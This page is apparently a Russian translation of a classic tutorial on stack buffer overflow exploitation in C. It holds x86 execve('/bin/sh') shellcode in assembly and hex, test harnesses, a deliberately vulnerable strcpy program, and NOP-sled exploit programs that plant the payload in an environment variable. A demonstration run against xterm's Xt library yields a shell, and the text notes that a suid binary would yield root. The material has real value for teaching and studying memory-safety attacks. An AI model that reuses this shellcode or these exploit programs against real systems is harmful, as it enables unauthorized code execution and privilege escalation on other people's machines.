Реализация атаки переполнения буфера на Си

shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: jmp 0x800015f <main+47> 0x8000135 <main+5>: popl %esi 0x8000136 <main+6>: movl %esi,0x8(%esi) 0x8000139 <main+9>: movb $0x0,0x7(%esi) 0x800013d <main+13>: movl $0x0,0xc(%esi) 0x8000144 <main+20>: movl $0xb,%eax 0x8000149 <main+25>: movl %esi,%ebx 0x800014b <main+27>: leal 0x8(%esi),%ecx 0x800014e <main+30>: leal 0xc(%esi),%edx 0x8000151 <main+33>: int $0x80 0x8000153 <main+35>: movl $0x1,%eax 0x8000158 <main+40>: movl $0x0,%ebx 0x800015d <main+45>: int $0x80 0x800015f <main+47>: call 0x8000135 <main+5> 0x8000164 <main+52>: das 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp 0x8000168 <main+56>: das 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55> 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 <main+3>: 0xeb (gdb) 0x8000134 <main+4>: 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ Работает! Но снова есть препятствие. В большинстве случаев мы будем пытаться использовать переполнение буфера, который представляет собой массив типа char, поэтому при копировании его в стек любой null byte ("\0") будет рассматриваться как конец строки и копирование будет остановлено. Избавимся от этих символов: проблемная команда: заменяющая ее команда: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Итак улучшенный код: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------ Тест работоспособности шелкода: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ Настало время соединить все части вместе.У нас есть шелкод. Известно, что он должен быть частью строки ,которую мы будем использовать для переполнения буфера.Получаем: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ Заполняем массив large_string[] адресом буфера buffer[] ,который указывает, где будет располагаться наш код. Затем шелкод копируется в начало строки large_string.Далее функцией strcpy() cтрока large_string cкопируется в буфер без каких-либо проверок и перезапишет адрес возврата адресом шелкода.Как только отработает функция main и будет произведена попытка возврата из нее, управление передастся шелкоду.

Проблема, с которой мы столкнулись - выяснение адреса расположения шелкода, который он получит, когда строка переполнения буфера будет помещена в стек . Ее решение - начальный адрес стека при запуске каждого нового приложения будет одним и тем же.Большинство программ не помешают в стек больше нескольких сотен или тысяч байт. Поэтому зная, где он начинается, мы можем угадать примерное расположение буфера, который будем переполнять. Приведенная ниже программа возвращает значение SP, которое получает любая программа в данной системе при своем запуске.

sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ Для определенности будем считать, что уязвимая для атаки переполнения буфера программа выглядит так: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ Мы можем написать программу, которой будут передается параметрами размер буфера и смещение относительно ее собственного IP.Для удобства строку, переполняющую буфер, поместим в переменную окружения: exploit2.c ------------------------------------------------------------------------------ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can\'t allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = \'\0\'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Теперь попытаемся угадать, какими должны быть размер буфера и смещения: ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Очевидно, что процесс угадывания далеко не эффективен. Попытки угадать значение смещения, даже зная адреса начала стека, не дают удовлетворительного результата.Нижняя грань необходимого количества попыток исчисляется сотнями, верхняя - тысячами.Проблема в том, что мы пытаемся угадать точный адреса начала нашего кода.Если это значение будет отличаться хотя бы на один байт, то результатом будут - segmentation violation или incorrect instruction.   Единственный способ повысить вероятность угадывания - заполнить начало переполняющего буфер кода инструкцией NOP ,эквивалентной пустому оператору.Она есть почти во всех процессорах и обычно используется для создания задержек при выполнении программы.Заполним ею половину нашего кода.Сам шелкод расположим в центре. Теперь, в случае удачи, адрес возврата укажет на одну из команд NOP и вслед за ними выполнится шелкод. Машинный код для NOP - 0x90.В предположении , что стек начинается с адреса 0xff ,S обозначает шелкод, N - команды NOP, новая схема стека будет выглядеть следующим образом: нижние DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF верхние адреса памяти адреса 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF памяти buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| вершина стека основание стека Новый exploit тогда: exploit3.c ------------------------------------------------------------------------------ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can\'t allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = \'\0\'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Разумный выбор для размера нашего буфера: + 100 байт к величине буфера, в котором происходит переполнение(512 байт). Итого, 612.Сам шелкод находится в конце, и для операций NOP остается достаточно места. Испробуем новую версию exploit\'a на тестовой программе : ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Работает с первой попытки! Небольшое усовершенствование увеличило вероятность в сотни раз.Остается проверить работу exploit\'a на реальных программах.Для демонстрации используем ошибку переполнения буфера в библиотеке Xt. Конкретно, используем xterm ( все приложения, использующие данную версию библиотеки Xt, уязвимы). Необходимо запустить X сервер, разрешить подсоединения к нему с localhost и соответственно настроить переменную DISPLAY. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "л^1¤FF ° уV ¤1¤Ш@¤иЬяяя/bin/sh¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤я ї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яїяї¤¤яї¤¤яї¤¤яї¤¤ яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤ яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї ¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤я¤яї¤¤яї¤¤яї¤¤яї¤¤я ї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї ¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яяї¤¤яї¤¤яї¤¤яї¤¤ ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "л^1¤FF ° уV ¤1¤Ш@¤иЬяяя/bin/sh¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яї H¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїHїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яї яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яяїH¤яїH¤яїH¤яїH¤яїH¤яї H¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤я ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤ H¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїHH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤ яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤ їH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤я Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name FFFFFF ° уV ¤1¤Ш@¤иЬяяя/bin/shыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTы яїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяыяїTыяїTыяїTыяїTыяїTыяїTыяї TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTы Tы яїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїT ыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїT ыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїT T ыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяї TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяї TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїT TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяї TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTы яїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяї їTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыя Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Понадобилось менее дюжины попыток для нахождения нужных значений. Если бы у xterm был атрибут suid, то мы получили бы root shell


<<Назад Реализация атаки переполнения буфера на Perl'е
Hosted by uCoz